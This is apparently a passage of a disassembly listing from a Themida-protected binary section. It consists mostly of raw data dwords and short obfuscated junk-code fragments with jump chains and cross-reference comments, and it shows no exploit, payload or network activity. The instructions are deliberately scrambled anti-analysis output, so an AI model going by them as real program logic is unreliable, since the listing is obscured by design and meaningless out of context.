		dd 8006EDC0h, 0E800B5C5h, 0E9240C8Bh, 0A85h
; ---------------------------------------------------------------------------


loc_623CE8:				; CODE XREF: Themida_:00624CF9j
		add	eax, ecx
		mov	ecx, [esp]
		jmp	loc_61F0C2
; ---------------------------------------------------------------------------
		dw 1489h
		dd 55E28924h, 4BDh, 33EA8100h, 0E9331B57h, 0FFFFDC70h
dword_623D08	dd 2A2568h, 242C8900h, 9B76852h, 0C15A4D47h, 0D2F704EAh
					; DATA XREF: Themida_:0061C030o
		dd 0FFB370E9h, 84F9E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_623D26:				; CODE XREF: Themida_:006250FAj
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	esp
		jmp	loc_61FB6A
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0C4h
		dd 4, 9ACBE950h, 0E942FFFFh, 0FFFFDE33h, 472F6866h, 0FFC11DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_623D55:				; CODE XREF: Themida_:00620049j
		mov	ebx, 4DF03806h
		shr	ebx, 1
		jmp	loc_623C90
; ---------------------------------------------------------------------------
		db 52h,	53h, 0B3h
		dd 4EBC0C2h, 0E9CAC380h, 0FFFFB3A9h, 0EB80C3FEh, 0E9DD0868h
		dd 0FFFFC062h, 1B96C581h, 0EA8923C2h, 0FF9D94E9h
		db 0FFh
aMs?		db '?',0             ; DATA XREF: Themida_:0061BF50o
		dw 0FF00h
		dd 48B2434h, 48E95724h,	0F7FFFF94h, 1EC781DFh, 2931AEBCh
		dd 9953E9FAh, 8B5BFFFFh, 0C483243Ch, 4815304h, 0F47C6024h
		dd 24478F12h, 348A68h, 0A0AEE900h, 0E959FFFFh, 0FFFF93F8h
		dd 0FFFFBA52h, 0C181FFFFh, 0A4D2F05h, 0FFAD94E9h, 241C89FFh
		dd 0C7FE12B7h, 8003EFC0h, 0EFC089EFh, 8EEF8007h, 34FFF828h
		dd 2BE95B24h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_623DFB:				; CODE XREF: Themida_:0061C225j
		mov	[esp], ecx
		push	ax
		jmp	loc_628599
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 88h
		dd 81479760h, 0C51D30EAh, 0C2835D21h, 6BE95202h, 8BFFFFC9h
		dd 0F9E9240Ch
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_623E23:				; CODE XREF: Themida_:006244FEj
		pop	eax
		xor	eax, 30CD37D8h
		jmp	loc_623591
; ---------------------------------------------------------------------------
		dw 0F028h
dword_623E30	dd 8124148Bh, 4C4h, 1BA1E900h, 1C890000h, 0B307E924h, 34FFFFFFh
		dd 89525E24h, 4C281E2h,	81000000h, 4C2h, 24148700h, 59CE015Ch
		dd 5C243487h, 0FF83B6E9h, 24048FFFh, 2787E9h, 2434FF00h
		dd 0FFAB38E9h, 1C5F09FFh, 0E92434FFh, 0FFFFE80Dh
; ---------------------------------------------------------------------------


loc_623E84:				; CODE XREF: Themida_:0061D4F6j
		pop	esp
		push	esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_6207E9
; ---------------------------------------------------------------------------
		db 5Ch
		dd 24048B66h, 0CE9CE950h, 15FFFFFh, 0EC8356C2h,	241C8904h
		dd 0E879DFBBh, 8BDE897Fh, 8350241Ch, 248904ECh,	0ADE5E924h
		dd 0DBB9FFFFh, 835F7B4Eh, 45E9FFE9h, 8B000041h,	1AE92424h
		dd 100002Ch, 24ED81DDh,	5B547574h, 0E9242C33h, 2BA8h, 0E9F80166h
		dd 0FFFFE36Ch, 9CE9DD01h, 8FFFFF85h, 895C2404h,	0F2E9241Ch
		dd 81000021h, 4C2h, 4C28300h, 5C241487h, 0E9E68956h, 0FFFFECD6h
		dd 0E904C483h, 0FFFFF9F0h
dword_623F24	dd 57240C8Bh, 0E955E789h, 0FFFF92DEh, 52D80059h, 0E961B353h
					; DATA XREF: Themida_:0061C150o
		dd 40A1h
; ---------------------------------------------------------------------------


loc_623F3C:				; CODE XREF: Themida_:00626896j
		push	edx
		push	13E913DEh
		pop	edx
		sub	edx, 6CFA632Ah
		jmp	loc_626F12
; ---------------------------------------------------------------------------


loc_623F4E:				; CODE XREF: Themida_:00620822j
		sub	esi, 0F6907EDh
		xor	esi, 57FB6FCFh
		jmp	loc_61F725
; ---------------------------------------------------------------------------
		db 5
		dd 42BD39A2h, 9386C2Dh,	5C8012Eh, 2E09386Ch, 5F7068h, 3747E900h
		dd 15F0000h, 2434FFD6h,	0E924148Bh, 0D3Bh, 539C685Dh, 3C890000h
		dd 4EC8324h, 51241489h,	3757B8B9h, 11B7BA5Bh, 0CA311333h
		dd 43E95659h
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_623FAB:				; CODE XREF: Themida_:006269C2j
		sub	edx, 4
		jmp	loc_61D966
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 0CEEA8104h, 0E959D235h, 0FFFFB10Eh, 3124D3BEh
		dd 20EE812Bh, 813A6104h, 0D10DF6C6h, 0E275E974h, 0F681FFFFh
		dd 7F00306Eh, 0FF9927E9h, 0E9D0F6FFh, 1C13h, 8904EC83h
		dd 0EC81243Ch, 4, 51242489h, 4B9h, 2630E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_624006:				; CODE XREF: Themida_:006275ECj
		mov	esp, [esp]
		jmp	loc_627091
; ---------------------------------------------------------------------------
		dw 8950h
		dd 886FE9F8h, 0BA52FFFFh, 0E277B85h, 2D72C281h,	0BE566262h
		dd 70B0796h, 0E904E6C1h, 0FFFFB747h
; ---------------------------------------------------------------------------


loc_624030:				; CODE XREF: Themida_:00622CDBj
		xor	eax, 703E24DDh
		push	ebp
		push	edx
		mov	edx, 6A617F99h
		jmp	loc_625339
; ---------------------------------------------------------------------------


loc_624041:				; CODE XREF: Themida_:0062329Aj
		xor	esi, 225F12CBh
		neg	esi
		sub	esi, 4337709Bh
		mov	ecx, esi
		jmp	loc_626379
; ---------------------------------------------------------------------------


loc_624056:				; CODE XREF: Themida_:0062718Fj
		mov	al, 9Bh
		jmp	loc_6264E8
; ---------------------------------------------------------------------------
		db 51h,	68h, 0B1h
		dd 5968807Ch, 3710E981h, 0E981045Eh, 5FC4ECAh, 0A364E981h
		dd 0CE8953C6h, 0E9585659h, 0FFFFA7E7h
; ---------------------------------------------------------------------------


loc_624080:				; CODE XREF: Themida_:00626013j
		sub	ebp, edi
		pop	edi
		or	ebp, 9200286h
		xor	ebp, 91138899h
		add	ebx, 314F644Dh
		add	ebx, ebp
		push	ecx
		mov	ecx, 314F644Dh
		sub	ebx, ecx
		pop	ecx
		pop	ebp
		jmp	loc_620F5B
; ---------------------------------------------------------------------------
		dw 0CA81h
		dd 6B9425EBh, 2880C281h, 0D329C1F0h, 19CCE9h
		db 0
off_6240B9	dd offset dword_4DE2A8+14C0h ; DATA XREF: Themida_:0061C074o
		align 2
		dd offset loc_5DB467+1
		dw 8900h
		dd 4812424h, 424h, 39ABE900h
		db 2 dup(0)
word_6240D2	dw 8B66h		; DATA XREF: Themida_:0061C09Co
		dd 5356240Ch, 0C381E389h, 4, 4EB81h, 1C870000h,	24895C24h
		dd 24048124h, 4, 0E92434FFh, 0FFFFB6DDh
; ---------------------------------------------------------------------------


loc_6240FC:				; CODE XREF: Themida_:00624261j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_627F5C
; ---------------------------------------------------------------------------
		dw 515Ah
		dd 0C57AD3B9h, 0E9D9F725h, 0FFFFC19Bh, 0D3322B05h, 58C18960h
		dd 159CF01h, 0A8E95FF8h, 89000027h, 4C381E3h, 83000000h
		dd 13E904C3h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_62648B
; ---------------------------------------------------------------------------
		db 5Ch,	66h, 89h
		dd 0CCE92404h, 66FFFF80h, 2404BB0Fh, 80C1E99Ch,	0EEC0FFFFh
		dd 0D8B35302h, 0F654CB80h, 0B6CB80D3h, 0CFC6E950h, 0E953FFFFh
		dd 0FFFFB5E4h, 0E92434FFh, 3610h
; ---------------------------------------------------------------------------


loc_624180:				; CODE XREF: Themida_:00623221j
		xor	ebp, 3EAF19D0h
		jmp	loc_61C8CF
; ---------------------------------------------------------------------------
		db 66h
		dd 66CCB60Fh, 66603968h, 66240C89h, 66C8B60Fh, 7CE99C51h
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6241A3:				; CODE XREF: Themida_:00626273j
		xor	ebp, 376839C3h
		and	ebp, 5FB86C03h
		jmp	loc_623052
; ---------------------------------------------------------------------------
		dd 6779C781h, 0CF816B01h, 7E382CDAh, 178BB951h,	0CF31203Fh
		dd 47E95059h, 8300001Fh, 8B042404h, 1DE92404h, 68000008h
		dd 2C0E2D76h, 0E924148Bh, 0FFFFF6D6h, 4EC8153h,	89000000h
		dd 4812424h, 424h, 0C3815B00h, 4, 4EC81h, 4890000h, 5E27B824h
		dd 29052100h, 4015C13Eh, 0C19C5535h, 58C30136h,	31241C33h
		dd 0B3E9241Ch, 59FFFFD9h, 2EB85056h, 0BE3B056Eh, 0AA87BAF7h
		dd 48BC629h, 4C48324h, 0C104E6C1h, 0C68106EEh, 6ED3CBE0h
		dd 0FFC9FDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62424D:				; CODE XREF: Themida_:0061D650j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_6240FC
; ---------------------------------------------------------------------------


loc_624266:				; CODE XREF: Themida_:006232D8j
		push	dword ptr [esp]
		pop	esi
		jmp	loc_62084F
; ---------------------------------------------------------------------------
aZh		db 'Zh\|',0
		dd 0F8FDE900h, 0EE81FFFFh, 4B8A3630h, 5AE9CE81h, 4DE9523Ch
		dd 0FFFFFFB9h, 51582434h, 8904EC83h, 4812424h, 424h, 0BE565900h
		dd 0E91696Ah, 64CE8146h, 874DD576h, 0E9D3F7DEh,	0FFFFAA44h
		dd 0FF7F66E9h, 24348BFFh, 0E9h,	4C48300h, 2340B850h, 684CCCh
		dd 29000000h, 0E9582404h, 3D5Eh, 0E4C0A3B4h, 0FED4F608h
		dd 0EF9AE9CCh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6242E6:				; CODE XREF: Themida_:0061F08Cj
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		jmp	loc_6214C8
; ---------------------------------------------------------------------------
		dd 5B0B57BDh, 814D4D7Bh, 0D5084DEDh, 47C58136h,	31F04E25h
		dd 0CE95DEBh, 81FFFF95h, 216846EFh, 0E6EF8127h,	812F7336h
		dd 1DA16FF7h, 5FFB31E6h, 665BD831h, 0E900B60Fh,	0FFFFF8BCh
		dd 0C181E189h, 4, 0E904E983h, 253Fh
; ---------------------------------------------------------------------------


loc_624340:				; CODE XREF: Themida_:0061CFF9j
		pop	edx
		add	bl, 7Dh
		add	bl, 0A7h
		add	bl, al
		sub	esp, 4
		mov	[esp], edx
		push	518Ah
		mov	[esp], ebx
		jmp	loc_61DA82
; ---------------------------------------------------------------------------


loc_62435C:				; CODE XREF: Themida_:006254FCj
		push	ebp
		jmp	loc_627524
; ---------------------------------------------------------------------------


loc_624362:				; CODE XREF: Themida_:00620D9Ej
		sub	eax, 130B466Fh
		jmp	loc_6260D6
; ---------------------------------------------------------------------------


loc_62436C:				; CODE XREF: Themida_:00623258j
		push	ebx
		mov	ebx, 39B846F1h
		push	edi
		jmp	loc_625FDF
; ---------------------------------------------------------------------------
		dd 0FF7EA2E9h, 24248BFFh, 405h,	0C569E900h, 0ED81FFFFh
		dd 3D6F3494h, 0C581F501h, 3D6F3494h, 5E2434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 220A7C90h
		jmp	loc_61D410
; ---------------------------------------------------------------------------
		dd offset dword_50F154+14h
		dw 0E900h
		dd 0FFFF9F94h, 4C781h, 0EF830000h, 243C3302h, 33243C31h
		dd 248B243Ch, 0C896624h, 4064E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6243D2:				; CODE XREF: Themida_:00626DCFj
		mov	[esp], ebp
		mov	ebp, 6C736A2Fh
		push	esi
		mov	esi, 75FD4050h
		sub	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ecx, ebp
		add	ecx, 75FD4050h
		mov	ebp, [esp]
		add	esp, 4
		and	eax, ecx
		pop	ecx
		or	edx, eax
		jmp	loc_626662
; ---------------------------------------------------------------------------
		dd 20EA815Ah, 10ECD3Dh,	20C281DAh, 5B0ECD3Dh, 0FF7EA3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_624415:				; CODE XREF: Themida_:00621BD5j
		mov	edi, 4
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_621E4C
; ---------------------------------------------------------------------------
		db 68h
		dd 2026h, 0B8240489h, 4, 8358C101h, 0C8704C1h, 74E95C24h
		dd 4EFFFFEEh, 3EEE8146h, 908C758h, 0E7815EF7h, 3EC81549h
		dd 0E902EFC1h, 2E47h, 5BDE015Eh, 4BD55h, 0EE010000h, 83242C8Bh
		dd 348704C4h, 24248B24h, 0FF7F0FE9h, 0FCE95CFFh, 0FF000007h
		dd 5D042474h, 0E924048Fh, 1E8Eh, 0B9515854h, 206140D7h
		dd 6EE5C981h, 9FE97D72h, 8FFFFFE6h, 72E92404h, 59FFFF8Bh
		dd 835FF901h, 0C8904ECh, 2474FF24h, 4026E904h, 0B5510000h
		dd 80C5FEE8h, 0EF287AF5h, 0E3B15A59h, 28A4E980h, 0A4C180F9h
		dd 0F876E95Bh, 0E951FFFFh, 0FFFFF9EAh, 0FF7D3EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6244E1:				; CODE XREF: Themida_:00626943j
		add	ebx, edi
		add	ebx, 32A22204h
		mov	ecx, [ebx]
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		push	ecx
		push	eax
		push	1E935D92h
		jmp	loc_623E23
; ---------------------------------------------------------------------------
		db 66h
		dd 348BF289h, 0B884E924h, 4768FFFFh, 0E9000008h, 0FFFFCB16h
		dd 3C626855h, 4D5D00B1h, 2378B850h, 830D2561h, 357D4F52h
		dd 109E1D43h, 64B42D40h, 0C5298280h, 0FFB141E9h, 0DBD66FFh
		dd 0E5C16610h, 0BA665206h, 81661272h, 0E952E8C2h, 3145h
		dd 2A2994BEh, 0E9EE3123h, 0FFFFB333h, 0E924048Bh, 0C5Eh
; ---------------------------------------------------------------------------


loc_624568:				; CODE XREF: Themida_:00624AC7j
		pop	eax
		jmp	loc_6271BB
; ---------------------------------------------------------------------------
		dw 6C01h
		dd 8B5D0424h, 4EE92434h, 81000032h, 7C3266C3h, 0D0A7E92Bh
		dd 0C581FFFFh, 78871D22h, 0FF7E4AE9h, 1507BBFFh, 0D801B647h
		dd 58C7895Bh, 4E685650h, 5E49F96Eh, 4F49EE81h, 0E9460D68h
		dd 0CF7h, 1BFBBF57h, 4EE940D0h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6245BB:				; CODE XREF: Themida_:006280B8j
		neg	bh
		jmp	loc_62384D
; ---------------------------------------------------------------------------
		dw 0D801h
		dd 0A9AAE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6245CA:				; CODE XREF: Themida_:00624EDCj
		mov	eax, 0F2E10B71h
		jmp	loc_6231CA
; ---------------------------------------------------------------------------
		dd 0E9240C8Bh, 0FFFFCC4Dh, 4240481h, 5D000000h,	274E68h
		dd 24348900h, 4BEh, 5EF50100h, 76BA5253h, 0F7071171h, 0EA8142D2h
		dd 753A3256h, 5593E281h, 0F2813895h, 945412h, 148BD389h
		dd 0E70AE924h, 73B8FFFFh, 0E946F53Ch, 0FFFF97E5h
; ---------------------------------------------------------------------------


loc_624624:				; CODE XREF: Themida_:0061F88Ej
		sub	esp, 4
		mov	[esp], ebx
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_621764
; ---------------------------------------------------------------------------
		dd 0FD1ABFBFh, 3143E931h, 81580000h, 726037C7h,	81CF2933h
		dd 726037EFh, 24E95933h, 83FFFFCEh, 148904ECh, 0E95A5424h
		dd 0FFFF9544h, 63E9C231h, 9FFFFAEh, 0BB535AD0h,	21F31631h
		dd 7A4BCB81h, 0EBC1663Fh, 2EBC108h, 2705F381h, 0CB8109DAh
		dd 2DAC3A79h, 8186C381h, 0D82913B0h, 43C3815Bh,	0E93A054Bh
		dd 0FFFFA688h, 0FA87D729h, 0FFDB63E9h, 0E9F201FFh, 944h
		dd 32DBEE81h, 0D60158EAh, 0FFB334E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6246BD:				; CODE XREF: Themida_:00621A35j
		mov	ebp, 2C441AB3h
		sub	eax, 6EC26239h
		jmp	loc_61CAC8
; ---------------------------------------------------------------------------
		dd 8324048Bh, 4EE904C4h
		db 9, 2	dup(0)
byte_6246D7	db 0FFh			; DATA XREF: Themida_:0061C038o
		dd 0C2E92434h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6246DF:				; CODE XREF: Themida_:00624E19j
		push	eax
		push	edx
		jmp	loc_626BE7
; ---------------------------------------------------------------------------
		dw 4BBh
		dd 0E9000000h, 0DBFh, 5D242C29h, 529AED81h, 0C78155F1h
		dd 738A4788h, 0A4E9EF29h, 0BBFFFFCEh, 48365F39h, 0EEE9DA01h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_624713:				; CODE XREF: Themida_:00620A69j
		mov	cx, [esp]
		push	7844h
		mov	[esp], ecx
		push	6859h
		jmp	loc_6223E6
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8124148Bh, 4C4h, 4C48300h, 0CF2C4304h, 0CF04E800h, 5966432Ch
		dd 0B60FC330h, 8734FFC0h, 582434FFh, 4E0168h, 24148900h
		dd 0E955E289h, 32ECh
dword_624760	dd 0FF2434FFh, 52582434h, 0FFA048E9h, 40E950FFh, 0BB00002Eh
					; DATA XREF: Themida_:0061C1B0o
		dd 4, 0A3E9DE01h, 89FFFFC8h, 14F7240Ch
		db 24h,	59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_622D98
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 0E9008F24h, 0FFFF7A87h, 0FF7A82E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62479D:				; CODE XREF: Themida_:0061D27Dj
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		push	4
		pop	eax
		jmp	loc_625B91
; ---------------------------------------------------------------------------
		dd 8904EC83h, 4B9240Ch,	51000000h, 24240481h, 5D015E77h
		dd 7724ED81h, 67E9015Eh, 8BFFFFD9h, 0C4812414h,	4, 4C281h
		dd 0C2810000h, 4, 2474FF52h, 2434FF04h,	0E189515Ah, 4C181h
		dd 0C1830000h, 240C8704h, 0D911E95Ch, 0C301FFFFh, 7A09E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_624816:				; CODE XREF: Themida_:00625A07j
		sub	al, 71h
		push	ecx
		mov	ch, 2Dh
		sub	ch, 0A7h
		push	eax
		mov	al, 0FDh
		xor	ch, al
		pop	eax
		sub	al, ch
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_61FB96
; ---------------------------------------------------------------------------
		db 89h
		dd 0AE44E9DFh, 0F281FFFFh, 2E1B3388h, 0FF9750E9h, 24248BFFh
		dd 2404D366h, 79C5E99Ch, 0C581FFFFh, 4,	0FF8A06E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_624865:				; CODE XREF: Themida_:0061DD50j
		mov	ebp, 7C70A28h
		jmp	loc_62234A
; ---------------------------------------------------------------------------
byte_62486F	db 66h			; DATA XREF: Themida_:0061C0FCo
		dd 0E924048Bh, 0FFFF8B34h
dword_624878	dd 9D1C77FFh, 11665866h, 0E99C2404h, 0FFFF7997h, 981DE959h
					; DATA XREF: Themida_:0061C090o
		dd 0DD31FFFFh, 8BE9015Bh, 0C481242Ch, 4, 8704C183h, 248B240Ch
		dd 0FC33024h, 48DC0B6h,	249E6887h, 4890000h, 7965E924h
		dd 48BAFFFFh, 54D260Dh,	66A67F87h, 0FFCE47E9h, 0A1CE81FFh
		dd 8147FE6Dh, 0FD309CC6h, 1C68306h, 1B8EF681h, 81460136h
		dd 0CAAB09F6h, 8BF7015Fh, 63E92434h
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6248EF:				; CODE XREF: Themida_:006282C8j
		mov	edx, 22FE2882h
		not	edx
		xchg	edi, edx
		push	edi
		not	dword ptr [esp]
		pop	edi
		xchg	edi, edx
		push	ecx
		mov	ecx, 11725556h
		push	eax
		mov	eax, 79711FEBh
		and	ecx, eax
		jmp	loc_6258DA
; ---------------------------------------------------------------------------
		dw 5652h
		dd 254626BEh, 81C8E904h, 315BFFFFh, 2434FFF8h, 4C4815Fh
		dd 52000000h, 0F90745BAh, 0C2814A1Eh, 4CCD2E98h, 555AD301h
		dd 666304BDh, 7EDC156h,	6C56BF57h, 0EF817A0Ah, 4B64E83h
		dd 0F781DFF7h, 66096253h, 0B9E9FD29h, 0BEFFFFBAh, 76EA7DE3h
		dd 8105EEC1h, 984942EEh, 8BF229D6h, 0C4832434h,	7D75E904h
		dd 0E189FFFFh, 4EC81h, 1C890000h, 4BB24h, 0CEE90000h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62498F:				; CODE XREF: Themida_:0062188Bj
		pop	ebx
		xor	ebp, edx
		pop	edx
		jmp	loc_61D466
; ---------------------------------------------------------------------------
		dd 802DCB80h, 0DD88CFEBh, 2C662C5Bh, 4E82883h, 0FF660483h
		dd 0C8B2434h, 4C48124h,	83000000h, 626804C4h, 89000054h
		dd 89512434h, 0D0BBE9E1h, 8804FFFFh, 882CD828h,	241C8B66h
		dd 120968h, 241C8900h, 0C381E389h, 4, 2F17E9h, 242C8700h
		dd 2EB815Ch, 0E93F3544h, 0FFFFCB17h, 4C481h, 0BF570000h
		dd 11DA38D7h, 38D3F781h, 76E911DAh, 55000030h, 7B536968h
		dd 0DDF75D23h, 221C68h,	241C8900h, 0FFB068E9h, 243C87FFh
		dd 0FFC6D2E9h, 9C5066FFh, 0FF77EAE9h, 4C481FFh,	66000000h
		dd 8950E801h, 405E0h, 0E8830000h, 24048702h, 2C89665Ch
		dd 34BD6624h, 0DF2D667Ch, 0E8296629h, 0BF665766h, 56629DFh
		dd 1662A9Ch, 9C2D66F8h,	0E95F662Ah, 14FBh
; ---------------------------------------------------------------------------


loc_624A74:				; CODE XREF: Themida_:0061E601j
		push	dword ptr [esp]
		jmp	loc_624EA9
; ---------------------------------------------------------------------------


loc_624A7C:				; CODE XREF: Themida_:0061C8C3j
		pop	esi
		and	eax, esi
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_623472
; ---------------------------------------------------------------------------


loc_624A94:				; CODE XREF: Themida_:0061DBBEj
		mov	ecx, 0AA3F443h
		xor	ebp, ecx
		pop	ecx
		shl	ebp, 8
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 1
		add	ebp, 48362881h
		add	ebp, eax
		sub	ebp, 48362881h
		pop	eax
		shr	ebp, 7
		push	eax
		mov	eax, 37997C5Ah
		or	ebp, eax
		jmp	loc_624568
; ---------------------------------------------------------------------------


loc_624ACC:				; CODE XREF: Themida_:0061D619j
		not	edx
		dec	edx
		not	edx
		add	edx, 5D6C4EBDh
		add	edx, 97D671ACh
		sub	eax, edx
		pop	edx
		add	eax, 3C2FF5EAh
		xor	edx, eax
		pop	eax
		jmp	loc_622328
; ---------------------------------------------------------------------------
aSg_0		db ')(',0
		align 4
		dd 8104C783h, 4ECh, 243C8900h, 42474FFh, 24048F5Fh, 6E9C15Ch
		dd 79AAE952h, 4343FFFFh, 8108E3C1h, 435D04F3h, 2D2AE9E6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_624B22:				; CODE XREF: Themida_:0061E4CEj
		or	eax, eax
		jnz	loc_622C8F
		push	5C741430h
		mov	edx, [esp]
		push	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		jmp	loc_623445
; ---------------------------------------------------------------------------
		dw 875Eh
		dd 385C2414h, 0C4E99CC1h
		db 76h,	2 dup(0FFh)
byte_624B5B	db 0ACh			; DATA XREF: Themida_:0061BFACo
		dd 4EC81h, 0C890000h, 0E961B524h, 0FFFFBB60h
dword_624B6C	dd 0E92434FFh, 0FFFF81EBh, 24148966h, 0FF92B5E9h, 4BBE56FFh
					; DATA XREF: Themida_:0061BF84o
		dd 0F76F6650h, 6A0E9D6h, 0FFBD0000h, 0E9FFFFFFh, 0FFFFE876h
		dd 1509E957h
		db 2 dup(0)
word_624B9A	dw 34FFh		; DATA XREF: Themida_:0061BF78o
		dd 0E9555824h, 0FFFF7C32h, 4C681h, 50550000h, 4B8h, 0E9C58900h
		dd 0FFFF7A31h
; ---------------------------------------------------------------------------


loc_624BB8:				; CODE XREF: Themida_:0061D600j
		sub	bl, al
		jmp	loc_61C255
; ---------------------------------------------------------------------------
		db 55h
		dd 1A826857h, 815F6592h, 0CA0B2BE7h, 0E9DFF705h, 0FFFF96B0h
dword_624BD4	dd 24048B66h, 0FF9DEDE9h		db 0FFh
off_624BDD	dd offset dword_533710+358h ; DATA XREF: Themida_:0061BF54o
		align 2
		dw 2C89h
		dd 25DCBD24h, 0E5C12291h, 83DDF704h, 0E951FFEDh, 37CDh
		dd 0E904C283h, 673h, 5104C483h,	2B9h, 59CA0100h, 5C241487h
		dd 240C8B66h, 0FFFA3EE9h, 10F281FFh, 111CC00h, 0ED815AD5h
		dd 16850633h, 0C581FD01h, 16850633h, 1AF6ED81h,	3C8B0AD7h
		dd 4C48124h, 68000000h,	7277h, 0FF242C89h, 0FF042474h
		dd 0E95D2434h, 0FFFFA66Bh
; ---------------------------------------------------------------------------


loc_624C54:				; CODE XREF: Themida_:00622A3Dj
		push	eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, ebx
		mov	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		jmp	loc_62706F
; ---------------------------------------------------------------------------
		db 87h
		dd 6AE92434h, 81FFFFDDh, 4ECh, 241C8900h, 0FF868h, 24248900h
		dd 4240483h, 81241C8Bh,	4C4h, 0BB535700h, 1ADF7B6Ah, 52D3F74Bh
		dd 0B43D6CBAh, 0AC1DE900h, 48BDFFFFh, 296F7937h, 0D0E959CDh
		dd 83FFFFD3h, 545204C4h, 8124148Bh, 4C4h, 4C28100h, 0E9000000h
		dd 0FFFFD511h, 506631B2h, 0E23016B4h, 0D1005866h, 0FFE2CAE9h
		dd 0E8E950FFh
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_624CF3:				; CODE XREF: Themida_:00620E8Bj
		push	ecx
		mov	ecx, 774B660Fh
		jmp	loc_623CE8
; ---------------------------------------------------------------------------


loc_624CFE:				; CODE XREF: Themida_:00624DFFj
		xchg	eax, [esp]
		jmp	loc_61E4D9
; ---------------------------------------------------------------------------
		dw 4B9h
		dd 1000000h, 0D22AE9CFh, 0C481FFFFh, 4,	0E9240429h, 996h
		dd 5AD768h, 240C8900h, 0F1803EB1h, 0C285E9E4h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_624D32:				; CODE XREF: Themida_:006231F4j
		pop	esp
		push	ebx
		push	edx
		push	ebx
		mov	ebx, 7DDD7B93h
		mov	edx, ebx
		pop	ebx
		push	edi
		mov	edi, 6E12DE2h
		jmp	loc_625632
; ---------------------------------------------------------------------------
		db 0B9h, 4, 0
		dd 0C5810000h, 5D23046h, 0B951CD01h, 5D23046h, 3BE9CD29h
		db 84h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_624D63:				; CODE XREF: Themida_:00624E62j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], dx
		push	31ADh
		mov	[esp], eax
		push	22FAh
		mov	[esp], edx
		mov	dh, 54h
		mov	al, dh
		pop	edx
		dec	al
		shr	al, 5
		xor	al, 8Eh
		push	ecx
		mov	cl, al
		mov	dl, cl
		pop	ecx
		pop	eax
		xor	al, dl
		mov	dx, [esp]
		add	esp, 2
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 51h
		push	261Dh
		mov	[esp], ebx
		push	edx
		push	eax
		jmp	loc_622662
; ---------------------------------------------------------------------------
		db 53h
		dd 4BBh, 5BDD0100h, 0E902C583h,	0FFFFD1A7h, 28C5C380h
		dd 5BE95BDEh
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_624DD3:				; CODE XREF: Themida_:00627F57j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		jmp	loc_621A3A
; ---------------------------------------------------------------------------


loc_624DF6:				; CODE XREF: Themida_:00621D4Bj
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		jmp	loc_624CFE
